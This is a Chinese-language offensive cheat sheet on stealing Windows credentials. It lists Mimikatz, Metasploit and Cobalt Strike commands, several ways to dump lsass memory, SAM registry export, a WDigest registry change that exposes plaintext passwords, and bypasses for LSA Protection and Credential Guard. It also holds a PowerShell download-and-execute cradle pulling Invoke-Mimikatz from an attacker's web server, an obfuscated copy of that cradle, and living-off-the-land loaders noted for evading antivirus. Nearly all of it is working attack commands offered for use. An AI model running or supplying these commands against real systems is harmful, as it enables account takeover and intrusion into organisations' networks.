密码抓取
Mimikatz
使用前先将对应版本的mimikazi传上去
运行如下
命令不支持粘贴,不区分大小写
基本使用
基于win2003测试
-
列出导出凭证
crypto::certificates
-
获得debug权限(需要debug权限来执行一些mimikatz命令)
privilege::debug
提升成功则会返回 OK
-
获取所有可用的提供者凭据,可得到当前账户的密码
sekurlsa::logonpasswords
-
查看token
token::list
常用命令
- cls-----------------------------清屏
- exit----------------------------退出
- version------------查看mimikatz的版本
- system::user-----查看当前登录的系统用户
- system::computer-------查看计算机名称
- process::list------------------列出进程
- process::suspend 进程名称 -----暂停进程
- process::stop 进程名称---------结束进程
- process::modules --列出系统的核心模块及所在位置
- service::list---------------列出系统的服务
- service::remove-----------移除系统的服务
- service::start stop 服务名称–启动或停止服务
- privilege::list---------------列出权限列表
- privilege::enable--------激活一个或多个权限
- privilege::debug-----------------提升权限
- nogpo::cmd------------打开系统的cmd.exe
- nogpo::regedit -----------打开系统的注册表
- nogpo::taskmgr-------------打开任务管理器
- ts::sessions-----------------显示当前的会话
- ts::processes------显示进程和对应的pid情况等
- sekurlsa::wdigest-----获取本地用户信息及密码
- sekurlsa::tspkg------获取tspkg用户信息及密码
- sekurlsa::logonPasswords–获登陆用户信息及密码
msf抓取
-
先反弹一个会话
-
会话交互,加载模块:
sessions -i 1
、load mimikatz
-
wdigest
:罗列目标的明文密码 -
tspkg
:尝试罗列目标的明文密码
msv
:抓取密码hash值
mimikatz_command -f sekurlsa::logonPasswords
:指定执行一条猕猴桃命令
需要区分大小写
cs抓取
-
得到会话后,Access->Run Mimikatz,默认功能为logonPasswords,抓取明文密码
-
Access->hashdump,再将hash拿到解密网站上解密
点击查看
- 插件编写,实现猕猴桃命令自定义
Invoke-Cats.psl
-
落地执行:
Import-module .\Invoke-Cats.ps1
、Invoke-Cats -pwds
-
远程内存执行
-
kali上将脚本移至/var/www,开启一个服务:
service apache2 start
-
目标机执行
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.95.128/Invoke-Cats.ps1');Invoke-Cats.ps1
-
-
混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.108/.?./'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
.net2.0加载mimikatz
-
下载katz.cs,将其放置C:\Windows\Microsoft.NET\Framework\v2.0.50727
-
powoershell 依次执行
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte
-
再cmd执行
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
-
即可成功加载猕猴桃
JS加载
- 命令执行加载:
cscript mimikatz.js
msiexec加载
- 本地:
msiexec /passive /i Mimikatz.msi
.net4.0加载
- 执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild<.exemimikatz.xml
JScript的xsl版
- 本地加载:
wmic os get /format:"mimikatz.xsl"
- 远程加载:
wmic os get /format:"http://127.0.0.1/mimikatz.xsl"
单机抓hash
-
有时无法上传猕猴桃,只好抓抓hash
QuarksPwDump(08-win8)
QuarksPwDump.exe --dump-hash-local
wce
wce.exe
:抓取hashwce.exe -w
:抓取明文密码等信息
pwdump7(了解备用)
-
需要同时上传PwDump7.exe 与 libeay32.dll
-
PwDump7.exe
LaZagne(*)
- 可抓取windows密码,以及windows下常见浏览器、聊天软件、代理工具等的密码
- 下载
- python编写,导致通用性受限。对于windows程序:C/C++ > .net/c# > python/go
lazagne_x86 windows
:抓取windows密码
SharpDump
- 具有一定的免杀功能
- 转存lsa进程的文件:
for /f "tokens:2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do sharpDump.exe %i
- 使用猕猴桃破解:
mimikatz.exe "sekurlsa::minidump debug516" "sekurlsa::logonPasswords full" "exit"
ProcDump
- 与上述类似
- 获取内存文件lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
- 将lsass.dmp下载到攻击者的电脑上
- 使用本地的mimikatz.exe读取lsass.dmp:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
SqlDumper
- dump lsass进程:
for /f "tokens:2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do sqldumper.exe %i 0 0x01100
- 猕猴桃进行读取:
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"
rundll32
- windows内置,自带免杀,了解
for /f "tokens:2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
关于SAM(注册表)数据库
- 保存注册表:
reg save hklm\sam .\sam.hiv
reg save hklm\system .\system.hiv
- 猕猴桃破解:
lsadump::sam /sam:sam.hive /system:system.hive
密码抓取绕过
win2012及以后
win2012后默认不再存储明文密码
绕过方式
通过修改注册表,然后给予一个锁屏桌面,重新输入密码抓取
-
更改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
想复原的话
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
-
然后使用mimikatz就行了
kb2871997
Powshell.exe -ExecutionPolicy Bypass -File dump.ps1
使用时需要有C:\test\pwd.txt文件,否则会报错
运行后会自动注销,再次登录后就能拿到明文密码了
Protected Users
绕过
sekurlsa::ekeys
Additional LSA Protection
LSA验证用户是否进行本地和远程登录,并实施本地安全策略
启用后无法把debugger attach放到进程里
绕过方法
先加载mimikatz的驱动及sys文件
然后使用
!processprotect /process:lsass.exe /remove
Credentials Guard
需要模拟登录
misc::memssp
然后查看
type C:\Windows\System32\mimilsa.log
服务密码抓取
Navicat
浏览器密码
工具lazagne
lazagne_x64.exe browsers
win10
没有触发火绒的杀毒
数据库密码
翻文件